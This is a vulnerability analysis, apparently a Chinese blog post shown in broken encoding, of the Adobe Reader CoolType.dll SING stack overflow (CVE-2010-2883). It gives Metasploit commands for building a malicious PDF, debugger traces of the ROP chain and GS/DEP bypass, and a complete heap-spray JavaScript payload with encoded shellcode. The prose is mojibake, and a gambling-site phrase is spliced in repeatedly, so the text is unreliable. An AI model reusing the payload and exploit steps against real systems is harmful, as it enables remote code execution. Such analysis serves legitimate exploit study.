CVE-2010-2883-CoolType.dll»º³åÇøÒç³ö©¶´·ÖÎö

Ç°ÑÔ

´Ë©¶´ÊǸù¾ÝȪ¸çµÄ¡¶Â©¶´Õ½Õù¡·À´Ñ§Ï°·ÖÎöµÄ£¬ÍøÉÏÒÑÓдóÁ¿·ÖÎöÎÄÕÂÔÚ´ËÖ»ÊÇ×öÒ»¸ö¶ÀÁ¢µÄ·ÖÎö¼Ç¼¡£

¸´ÏÖ»·¾³

  • ²Ù×÷ϵͳ -> Windows XP Sp3
  • Èí¼þ°æ±¾ -> Adobe Reader 9.3.4

¾²Ì¬·ÖÎö

Èç¹û¸ù¾ÝȪ¸çµÄÎÄÕÂÖ±½Ó×ßµ¹ÊÇҲûÓÐɶÎÊÌ⣬²»¹ýÔÚѧϰµÄ¹ý³ÌÖе¹ÊǺÜÏëÊÔÒ»ÏÂÈç¹ûûÓиü¶àÌáʾµÄÌõ¼þÏÂÊÇ·ñ¿ÉÒÔ×ßÒ»±éÕû¸öÁ÷³Ì¡£ÓÚÊÇËÑË÷Õâ¸ö©¶´µÄÐÅÏ¢ÕÒµ½ÁËһƪNVDµÄÎÄÕ£¬ÕâÀïºÜÃ÷È·µÄ¸æËßÁË©¶´ËùÔڵĿâºÍSING±íµÄһЩÐÅÏ¢ÒÔ¼°Â©¶´ÀàÐÍÊÇÒ»¸öÕ»Òç³ö£¬ÔÚÕâЩÐÅÏ¢µÄ»ù´¡ÉÏ365betÌåÓýÔÚÏßÃÇ¿ÉÒÔ³¢ÊÔ¾²Ì¬·ÖÎöÒ»ÏÂCoolType.dllÀ´´ó¸ÅËÑË÷һϩ¶´¿ÉÄܳöÏÖµÄλÖá£ÆäʵעÒâ¿´ÉÏÏÂÎĵĻ°£¬ÔÚ IDAÖÐÄܺܿ쿴µ½½ôÁÚSING×Ö·û´®µÄÏ·½ÓÐÒ»¸östrcatº¯ÊýµÄµ÷Óã¬ÕâÀï¾Í¼«ÓпÉÄÜÊÇ©¶´Î»ÖÃÁË¡£

.text:0803DCF9 var_160         = byte ptr -160h
.text:0803DCF9 var_140         = dword ptr -140h
.text:0803DCF9 var_138         = dword ptr -138h
.text:0803DCF9 var_134         = dword ptr -134h
.text:0803DCF9 var_130         = dword ptr -130h
.text:0803DCF9 var_12C         = dword ptr -12Ch
.text:0803DCF9 var_128         = dword ptr -128h
.text:0803DCF9 var_124         = dword ptr -124h
.text:0803DCF9 var_120         = dword ptr -120h
.text:0803DCF9 var_119         = byte ptr -119h
.text:0803DCF9 var_114         = dword ptr -114h
.text:0803DCF9 var_10C         = dword ptr -10Ch
.text:0803DCF9 var_108         = byte ptr -108h
.text:0803DCF9 var_4           = dword ptr -4
.text:0803DCF9 arg_0           = dword ptr  8
.text:0803DCF9 arg_4           = dword ptr  0Ch
.text:0803DCF9 arg_8           = dword ptr  10h
.text:0803DCF9 arg_C           = dword ptr  14h
.text:0803DCF9
.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h
.text:0803DD00                 lea     ebp, [esp-4]
.text:0803DD04                 mov     eax, ___security_cookie
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]
.text:0803DD7D                 call    sub_8021B06
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

ÕâÀï¿ÉÒÔ¿´µ½strcatº¯Êýµ÷ÓÃ֮ǰȷʵûÓнøÐ㤶ÈÑéÖ¤£¬Èç¹ûÖ»Êǵ¥´¿µÄ¿´Õâ¶Î»ã±à´úÂë¿ÉÄܺÜÄѺÍÕû¸ö©¶´ÁªÏµÆðÀ´£¬ÓÚÊÇ365betÌåÓýÔÚÏßÃÇÒª¶¯Ì¬µ÷ÊÔÀ´¿´Ò»¿´¡£

¶¯Ì¬µ÷ÊÔ

Ê×ÏÈ£¬365betÌåÓýÔÚÏßÃÇÀûÓÃmsfÉú³ÉÒ»¸öÑù±¾£¬ÎªÁ˺óÃæµÄµ÷ÊÔ·½±ã£¬×îºÃÏȸÄÒ»ÏÂexpµÄÔ´Â룬linuxÏÂmsfµÄexpÔÚ/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformatĿ¼Ï£¬Ëæºó365betÌåÓýÔÚÏßÃÇÕÒµ½adobe_cooltype_sing.rbÎļþ£¬×¢Ê͵ôÆäÖеĵÚ102ÐУ¬»Ö¸´101ÐУ¬ÕâÀïΪÁ˲»±»¼ì²âµ½ÓÃÁËËæ»úÊý¾ÝµÄ·½Ê½À´Ìî³äµÄ£¬µ«ÊÇÕâ²»ÀûÓÚµ÷ÊÔ¡£È»ºóÉèÖÃpayload£¬ÃüÁîÐÐÈçÏÂ

msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename calc.pdf
filename => calc.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec 
payload => windows/exec
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > run

È»ºó365betÌåÓýÔÚÏßÃÇÓÃwindbg´ò¿ªAdober Reader£¬ÓÃsxe ld CoolTypeÔÚ³ÌÐò¼ÓÔØCoolType.dllµÄʱºò϶ϣ¬ËæºóÖ´ÐУ¬¼ÓÉÏIDAÖеľ²Ì¬·ÖÎö365betÌåÓýÔÚÏßÃÇ¿ÉÒÔÖªµÀstrcatº¯ÊýµÄÆ«ÒÆ£¬ÓÚÊÇ365betÌåÓýÔÚÏßÃÇÔÚstrcat´¦Ï¶Ïbp 0803DDAB £¬´ò¿ªpoc£¬¼ÌÐøÖ´ÐУ¬ÕâÀï365betÌåÓýÔÚÏßÃÇ¿´µ½µ÷ÓÃstrcatº¯Êý֮ǰµÄº¯Êý²ÎÊýÈçÏÂ

0:000> dd esp
0013e468  0013e4d8 03395fb4 07e5c04f 00000004
0013e478  0013e6d0 00000000 0341f250 0341f0d0
0013e488  03685db0 03685dac 0013e4c0 78147548
0013e498  0341f0d0 03685db0 000001fc 00000004
0013e4a8  0013e700 0013e6d0 0013e718 03395fa4
0013e4b8  00001ddf 00000000 00000000 00e5b9cc
0013e4c8  0013e470 0013e70c 08184a54 00000002
0013e4d8  0013e400 0013e6b0 00000000 07e5c1d7
0:000> dd 0013e4d8 
0013e4d8  0013e400 0013e6b0 00000000 07e5c1d7
0013e4e8  0013e858 0823ae9c 080852ef 0823a650
0013e4f8  03685dac 08080d0b 0341f0c4 0013e4d4
0013e508  0013e550 010ff8af ffffffff 00e5b9dc
0013e518  00f4a90a 0013e584 0013e594 0013e580
0013e528  0013e57c 00f4a949 07e5d872 00000004
0013e538  0013e6b0 00000000 0013e540 00f4a90a
0013e548  0013e5b0 0013e5c0 0013e5d4 010fc97e
0:000> dd 03395fb4 
03395fb4  41414141 41414141 4a82a714 0c0c0c0c
03395fc4  41414141 41414141 41414141 41414141
03395fd4  41414141 41414141 41414141 41414141
03395fe4  41414141 41414141 41414141 41414141
03395ff4  41414141 41414141 41414141 41414141
03396004  41414141 41414141 41414141 41414141
03396014  41414141 41414141 41414141 41414141
03396024  41414141 41414141 41414141 41414141

µ÷ÊÔµ½ÕâÒ»²½»ù±¾ÑéÖ¤ÁË֮ǰµÄÏë·¨£¬Â©¶´È·ÊµÔÚ´Ë´¦strcatµÄλÖᣴËʱ365betÌåÓýÔÚÏßÃÇÓÃpdfStreamDumperÕâ¸ö¹¤¾ßÀ´·ÖÎöÒ»ÏÂÑù±¾pdf£¬½«¶ÔÓ¦µÄobject±£´æµ½±¾µØÈçÏÂ

ÓÉÓÚAdobe font¹ÙÍø2018µÄ¸Ä°æÔ­À´½éÉÜSING±íÊý¾Ý½á¹¹µÄÎĵµÔÝʱδÕÒµ½£¬¸ù¾ÝȪ¸çÊéÖеĽéÉÜSING×Ö·û´®Æ«ÒÆ0x11cÒÔºó¾ÍÊÇSING±íµÄÕæʵÊý¾Ý£¬Ò²¾ÍÊÇA×Ö·û´®Ìî³ä¿ªÊ¼µÄµØ·½£¬strcatµÄ¸´ÖÆÆ´½ÓÒ²ÊÇ´ÓÕâÀ￪ʼµÄ¡£ÕâÀ︴ÖƵij¤¶ÈΪ0x23C£¬´ÓÊéÖÐÌṩµÄSING±íµÄÊý¾Ý½á¹¹À´¿´ÕâÀï½ÓÊܵÄ×î´ó³¤¶ÈÊÇ28Byte£¬¸´ÖƵij¤¶ÈÔ¶Ô¶³¬¹ýÁË»º³åÇøµÄ³¤¶È¡£ÔÚÈ·¶¨ÁË©¶´µÄλÖÃÒÔºó£¬365betÌåÓýÔÚÏßÃǾÍÀ´Ñ§Ò»Ñ§´Ë©¶´µÄÀûÓ㬾¡Á¿´ÓexpµÄ×÷ÕßÀ´¿¼ÂÇÕâ¸öÎÊÌâ¡£

©¶´ÀûÓÃ

Ê×ÏÈ365betÌåÓýÔÚÏßÃÇÐèÒªÂÞÁÐÒ»ÏÂÕâ¸ö°æ±¾µÄAdobe Reader¶¼¿ªÆôÁËÄÄЩ°²È«»úÖÆ

  • GS£¬ÓÖ³Æcanary£¬Í¨¹ýÔÚº¯Êý·µ»ØǰѹÈëÕ»µÄËæ»úÖµÊÇ·ñ±»¸²¸ÇÀ´¾ö¶¨ÊÇ·ñÅ׳öÒì³££¬»òÕß¼ÌÐøÖ´ÐдúÂë
  • DEP£¬¶ÑÕ»²»¿ÉÖ´Ðб£»¤£¬±ê¼ÇÁ˶ÑÕ»¶ÁдÊôÐÔ£¬ÍêÈ«¹Ø±ÕÁËÖ´ÐеÄȨÏÞ
  • ASLR£¬µØÖ·Ëæ»ú»¯£¬³ÌÐòÿ´Î¼ÓÔصÄÄÚ´æλÖò»¹Ì¶¨£¬ÔÚ´Ë°æ±¾µÄReaderÖÐÓ¦¸Ãδ¸²¸Çµ½´ËÄ£¿é

Ê×ÏÈ365betÌåÓýÔÚÏßÃÇÀ´¿´Ò»ÏÂGSµÄͨÓÃÈƹý²ßÂÔ£¬Í¨³£°üÀ¨ÒÔϼ¸ÖÖ·½·¨

  • ÀûÓÃ먦ÆôGS°²È«»úÖƵÄÄÚ´æ
  • ¸²¸ÇÒì³£´¦Àí»úÖÆ(SEH)µÄÖ¸Õ룬³ÌÐò´¥·¢Òì³£ºó½Ù³Ö³ÌÐòÖ´ÐÐÁ÷£¬Èç¹û³ÌÐòÆôÓÃsafeSEHÔòÐèÒªÁíÍ⿼ÂÇ
  • ÀûÓÃC++º¯ÊýµÄÐé±íÖ¸Õ룬¸²¸ÇÐ麯ÊýµÄÖ¸Õ룬ÔÚÒç³öºó£¬º¯Êý·µ»Ø֮ǰ¾Í½Ù³Ö³ÌÐòÁ÷³Ì
  • ÐÅϢй¶£¬ÀûÓÃÌõ¼þ±È½ÏÊÜÏÞ

365betÌåÓýÔÚÏßÃÇ·ÖÎöÒ»ÏÂÊÖÍ·µÄÑù±¾£¬¿´×÷ÕßÀûÓÃÁËÄÄЩ·½·¨À´ÈƹýGSµÄ£¬¹Û²ìһϸ´ÖÆÁËÄÚÈÝÒÔºóµÄÕ»¿Õ¼äºÍ֮ǰµÄ¶Ô±È£¬ÈçÏÂËùʾ

¸´ÖÆ֮ǰ1

¸´ÖÆÖ®ºó1

¸´ÖÆ֮ǰ2

¸´ÖÆÖ®ºó2

¸´ÖÆ֮ǰ3

¸´ÖÆÖ®ºó3

´ÓÕ⼸´¦µÄ¶Ô±È¿ÉÒÔ¿´³ö£¬×÷ÕßÒç³ö»º³åÇøÖ»ÊǸ²¸ÇÁ˼¸¸ö¹Ø¼üµÄλÖã¬ÄÇôÕ⼸¸ö¹Ø¼üµÄλÖþ¿¾¹ÊÇ×öʲôÓõÄÄØ£¿Í¨¹ýµ¥²½¸ú×ٵķ½Ê½£¬365betÌåÓýÔÚÏßÃÇ×îÖÕ¸ú×Ùµ½ÁËÒ»´¦µ÷Óã¬ÈçÏÂËùʾ

0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=0808b308 esp=0013dd28 ebp=0013dd48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
CoolType!CTInit+0x44c65:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll - 
0808b308 ff10            call    dword ptr [eax]      ds:0023:0013e6d0=4a80cb38
0:000> dd eax
0013e6d0  4a80cb38 41414141 41414141 41414141
0013e6e0  41414141 41414141 41414141 41414141
0013e6f0  41414141 41414141 41414141 41414141
0013e700  41414141 41414141 41414141 41414141
0013e710  41414141 0000006c 00000000 0000006d
0013e720  00000001 00000001 00000000 04835f84
0013e730  0483cae0 000026ec 0483c750 00000000
0013e740  0483c758 00000200 0483c758 080833ef
0:000> u 4a80cb38 
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
4a80cb3e c9              leave
4a80cb3f c3              ret

¿ÉÒÔ¿´µ½´Ë´¦µÄº¯Êýµ÷ÓõĵØÖ·¸ÕºÃÊǸ²¸ÇºóµÄÌØÊâ×ֶΣ¬¶ÔÆä½øÐз´»ã±à¿ÉÒÔ·¢ÏÖÆä×÷ÓÃÊǽ«Õ»À­µÍ0x794µÄµØÖ·³¤¶ÈÈ»ºó·µ»Ø£¬ºÜÃ÷ÏÔÕâÀïÒѾ­ÊÇ×÷Õß²¼ÖúõÄROPÁ´£¬ÕâÓÃÀ´ÈƹýÉÏÃæËù˵µÄDEP»úÖÆ£¬¸ú×ٵĹý³ÌÖз¢ÏÖ´Ë´¦»¹Î´Ö´Ðе½strcatº¯ÊýËùÔÚº¯Êý¿éµÄÕý³£·µ»ØµÄλÖã¬ÄÇô¿ÉÒÔ³õ²½È·¶¨ÈƹýGSµÄ·½·¨ÓõľÍÊǸ²¸ÇC++Ð麯ÊýµÄ·½Ê½£¬ÄÇôÉÏÃæ±»4a80cb38Ëù¸²¸ÇµÄ¾ÍÊÇÔ­±¾µÄC++µÄÐ麯ÊýÖ¸Õ룬ÕâÀïÑ¡Ôñ4a80cb38×÷ΪROPµÄµØÖ·µÄÒ»²¿·ÖÊÇÒòΪÆäËùÔÚµÄicucnv36.dll»ù±¾ÔÚ֮ǰµÄ´ó²¿·Ö°æ±¾Öж¼±£³Ö²»±ä£¬365betÌåÓýÔÚÏß¼«´óÌá¸ßÁËexpµÄͨÓÃÐÔ¡£365betÌåÓýÔÚÏßÃǸú½øÈ¥£¬¿´¿´ÕâÀï·µ»ØÒÔºóÊÇÄÄÀï

0:000> t
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb38 esp=0013dd24 ebp=0013dd48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3e esp=0013dd24 ebp=0013e4dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9              leave
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3f esp=0013e4e0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3              ret
0:000> dd esp
0013e4e0  4a82a714 0c0c0c0c 41414141 41414141
0013e4f0  41414141 41414141 41414141 41414141
0013e500  41414141 41414141 41414141 41414141
0013e510  41414141 41414141 41414141 41414141
0013e520  41414141 41414141 41414141 41414141
0013e530  41414141 41414141 41414141 41414141
0013e540  41414141 41414141 41414141 41414141
0013e550  41414141 41414141 41414141 41414141
0:000> u 4a82a714 
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c              pop     esp
4a82a715 c3              ret

¿´µ½ÉÏÃæµÄÖ¸ÁÓÈÆäÊÇ0c0c0c0cÕâ¿éµØÖ·£¬»ù±¾ÉÏÒѾ­È·¶¨ÁË£¬ÕâÀïʹÓõÄÊÇHeap Spray¡£ÕâÀïͨ¹ý°ÑÔ­À´µÄÕ»ÄÚ´æÊͷŵ½Òç³öÒÔºóµÄ¿É¿ØÇøÓò£¬È»ºóÔÚÆäÖв¼ÖÃROPÁ´µØÖ·£¬×îºó½Ù³Ö¼Ä´æÆ÷µ½¶ÑÖÐÖ¸¶¨µØÖ·£¬Ö´ÐÐÁíÍâµÄROPÁ´¡£¼ÈÈ»ÊÇÓÃHeap SprayÔÚ¶ÑÖв¼¾Ö£¬ÄÇôpdfÖÐÒ»¶¨ÄÚǶÁËjs£¬365betÌåÓýÔÚÏßÃÇ¿´Ò»ÏÂ

var var_unescape = unescape;
var shellcode = var_unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%udbb8%u1039%uda5b%ud9da%u2474%u5af4%uc931%u31b1%uea83%u31fc%u0f42%u4203%udbd4%ua7e5%u9902%u5806%ufed2%ubd8f%u3ee3%ub6eb%u8f53%u9a7f%u645f%u0f2d%u08d4%u20fa%ua65d%u0fdc%u9b5e%u111d%ue6dc%uf171%u28dd%uf084%u541a%ua065%u12f3%u55d8%u6e70%udee1%u7eca%u0261%u819a%u9540%udb91%u1742%u5076%u0fcb%u5d9b%ua485%u296f%u6d14%ud2be%u50bb%u210f%u95c5%udab7%uefb0%u67c4%u2bc3%ub3b7%ua846%u371f%u14f0%u949e%ude67%u51ac%ub8e3%u64b0%ub320%uedcc%u14c7%ub545%ub0e3%u6d0e%ue18d%uc0ea%uf2b2%ubc55%u7816%ua97b%u232a%u2c11%u59b8%u2e57%u61c2%u47c7%ueaf3%u1088%u390c%uefed%u6046%u7847%uf00f%ue5da%u2eb0%u1018%udb33%ue7e0%uae2b%uace5%u42eb%ubd97%u6499%ubd04%u068b%u2dcb%ue757%ud66e%uf7f2');
var var_c = var_unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");

while (var_c.length + 20 + 8 < 65536) {
    var_c += var_c;
}

sp = var_c.substring(0, (0x0c0c - 0x24) / 2);
sp += shellcode;
sp += var_c;
slackspace = sp.substring(0, 65536 / 2);
while (slackspace.length < 0x80000) {
    slackspace += slackspace;
}
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var memory = new Array();
for (count = 0; count < 0x1f0; count++) {
    memory[count] = bigblock + "s"
}

ͨ¹ý¹Û²ìÕâ¶ÎjsµÄ´úÂ룬365betÌåÓýÔÚÏßÃÇ·¢ÏÖÆä»ù±¾ÉϾÍÊǽ«0c0c0c0c + shellcode + 0c0c0c0cÕâÑùµÄ"Èâ¼ÐâÉ"(Ò»·Ý´ó¸Å32k)ÕûÁË200+M¡£ÕâÑù¸²¸Çµ½0x0c0c0c0cÕâ¸öµØÖ·»ù±¾²»ÊÇʲôÎÊÌâ¡£ÓÃÕâÑùµÄ·½Ê½²¼ÖÃshellcodeÒ²»ù±¾²»Óÿ¼ÂÇASLRµÄÓ°ÏìÁË¡£Ëæºó365betÌåÓýÔÚÏßÃÇ·ÖÎöÒ»ÏÂshellcodeËù×öµÄ²Ù×÷£¬shellcodeÒ²ÊÇÓÃÁËROPÀ´×öʵÏÖµÄ

¿ÉÒÔ¿´³öÖ´ÐÐROPʹÓÃÁ˶àÌõÁ´£¬ÕâÀïÒªÖ¸³öµÄÒ»µãÊÇ´Ë°æ±¾µÄReader¿ªÆôÁËASLR£¬µ«ÊÇȴûÓи²¸Çµ½ÕâÀïËùÓõÄicucnv36.dllÕâ¸öÄ£¿é£¬365betÌåÓýÔÚÏßÒÔÉϵÄROPÁ´ÊÇ¿ÉÒÔÎȶ¨Ö´Ðеġ£µ½´Ë©¶´ÀûÓõÄÐÐΪ»ù±¾·ÖÎöÇå³þ£¬365betÌåÓýÔÚÏßÃÇÀ´»Ø¹Ëһϣ¬×÷ÕßÊÇÈçºÎÖð¸öÍ»ÆÆÕâЩ°²È«»úÖƵÄÏÞÖÆ£¬Ò»²½Ò»²½´ïµ½RCEµÄ

  • GS-->ÕâÀï×÷ÕßʹÓÃÁ˸²¸ÇC++µÄÐ麯ÊýÖ¸ÕëµÄ·½Ê½À´ÈƹýµÄ£¬Ê¹µÃÔÚº¯Êý·µ»Ø×ö¼ì²é֮ǰ¾Í³É¹¦½Ù³Ö³ÌÐòÖ´ÐÐÁ÷
  • DEP-->ÕâÀïʹÓõÄÊǾ­µäµÄ¶Ô¿¹·½Ê½ROP
  • ASLR-->×÷ÕßÕÒµ½ÁË먦ÆôASLRµÄÄ£¿éÀ´ÒÀÍÐÆäÎȶ¨µÄÖ´ÐÐROPÁ´

ÕâÆäÖÐÓÈÆäÊÇÈƹýGSËùʹÓõĸ²¸ÇC++Ðé±íº¯ÊýÖ¸ÕëµÄ²Ù×÷£¬Ê¹µÃÕû¸öÀûÓõĹý³Ì»ñµÃÁËÍêÃÀµÄת»ú£¬±¾»·¾³ÖÐϵͳÊÇĬÈÏ¿ªÆôÁËsafeSEH·À»¤µÄ£¬ÔÚÕâÑùµÄÌõ¼þÏÂʹÓø²¸ÇC++Ðé±íº¯ÊýµÄ·½Ê½£¬Ö±½Ó¿ÉÒÔͬʱ¼äÈƹýGSºÍsafeSEH£¬Á½È«ÆäÃÀ¡£

shellcode·ÖÎö

shellcode²¿·ÖÊ×ÏȾÍÊÇÖ´ÐÐÁËÒ»¸öCreateFileWº¯ÊýÀ´´´½¨Ò»¸öÎļþ£¬ÏÂÃæÊÇÕâ¸öº¯ÊýµÄ¶¨Òå

HANDLE CreateFile(

¡¡¡¡LPCTSTR lpFileName, //Ö¸ÏòÎļþÃûµÄÖ¸Õë

¡¡¡¡DWORD dwDesiredAccess, //·ÃÎÊģʽ£¨Ð´/¶Á£©

¡¡¡¡DWORD dwShareMode, //¹²Ïíģʽ

¡¡¡¡LPSECURITY_ATTRIBUTES lpSecurityAttributes, //Ö¸Ïò°²È«ÊôÐÔµÄÖ¸Õë

¡¡¡¡DWORD dwCreationDisposition, //ÈçºÎ´´½¨

¡¡¡¡DWORD dwFlagsAndAttributes, //ÎļþÊôÐÔ

¡¡¡¡HANDLE hTemplateFile //ÓÃÓÚ¸´ÖÆÎļþ¾ä±ú

¡¡¡¡);

365betÌåÓýÔÚÏßÃÇÀ´¿´Ò»Ï´ËʱµÄ²ÎÊý

0:000> p
eax=7ffdebf8 ebx=00000000 ecx=7ffdec00 edx=4a8522c8 esi=0224b760 edi=0013e718
eip=7c801a4e esp=0c0c0c04 ebp=0c0c0c20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
kernel32!CreateFileA+0x26:
7c801a4e e886f20000      call    kernel32!CreateFileW (7c810cd9)
0:000> dd esp
0c0c0c04  7ffdec00 10000000 00000000 00000000
0c0c0c14  00000002 00000102 00000000 41414141
0c0c0c24  4a801064 4a8522c8 10000000 00000000
0c0c0c34  00000000 00000002 00000102 00000000
0c0c0c44  4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0c54  00000008 4a80a8a6 4a801f90 4a849038
0c0c0c64  4a80b692 4a801064 ffffffff 00000000
0c0c0c74  00000040 00000000 00010000 00000000
0:000> dc 7ffdec00 
7ffdec00  00730069 0038006f 00350038 00310039  i.s.o.8.8.5.9.1.
7ffdec10  00640000 00650052 00650063 00760069  ..d.R.e.c.e.i.v.
7ffdec20  00430065 006e006f 00630065 00690074  e.C.o.n.e.c.t.i.
7ffdec30  006e006f 0045002e 00650076 0074006e  o.n...E.v.e.n.t.
7ffdec40  0045002e 00470048 0049002e 00000043  ..E.H.G...I.C...
7ffdec50  0069005c 00750063 00740064 00360033  \.i.c.u.d.t.3.6.
7ffdec60  0063005f 006b006a 0064002e 006c006c  _.c.j.k...d.l.l.
7ffdec70  006c0000 006e0000 0061002e 006c0070  ..l...n...a.p.l.

¸ù¾Ýº¯ÊýµÄ¶¨Òå365betÌåÓýÔÚÏßÃÇÖªµÀ0x7ffdec00Õâ¸öµØÖ·´¦¾ÍÊÇ´´½¨µÄÎļþÎļþÃû£¬365betÌåÓýÔÚÏßÃÇ¿´µ½ÆäÃû×ÖÊÇiso88591£¬ÕâÀﻹҪָ³öµÄÒ»µãÊÇ´´½¨µÄÎļþÊǺʹò¿ªµÄpdfÔÚÒ»¸öÎļþ¼ÐÏÂÃ棬µ«ÊÇ£¬ËûÊÇÒþ²ØÎļþ(²Î¿¼Õ»ÖеIJÎÊý)£¬²»¹ýÔÚ´´½¨ÎļþÒÔºó£¬Í¨¹ýEverything»¹ÊǺÜÈÝÒ×ËÑË÷µÃµ½µÄ

´´½¨ÎļþÒÔºóÓÖµ÷ÓÃÁËCreatFileMappingº¯ÊýΪ¸Õ¸Õ´´½¨µÄÎļþÉú³ÉÒ»¸öÎļþ¹²ÏíÄÚ´æÓ³Ïñ£¬Æ亯ÊýÔ­ÐͺͲÎÊýÈçÏÂËùʾ

HANDLE CreateFileMapping(
  HANDLE hFile,                       //ÎïÀíÎļþ¾ä±ú
  LPSECURITY_ATTRIBUTES lpAttributes, //°²È«ÉèÖÃ
  DWORD flProtect,                    //±£»¤ÉèÖÃ
  DWORD dwMaximumSizeHigh,            //¸ßλÎļþ´óС
  DWORD dwMaximumSizeLow,             //µÍλÎļþ´óС
  LPCTSTR lpName                      //¹²ÏíÄÚ´æÃû³Æ
);

0:000> p
eax=4a849038 ebx=00000008 ecx=4a801064 edx=00160608 esi=00000000 edi=0000048c
eip=7c80955a esp=0c0c0c40 ebp=0c0c0c64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!CreateFileMappingA+0x50:
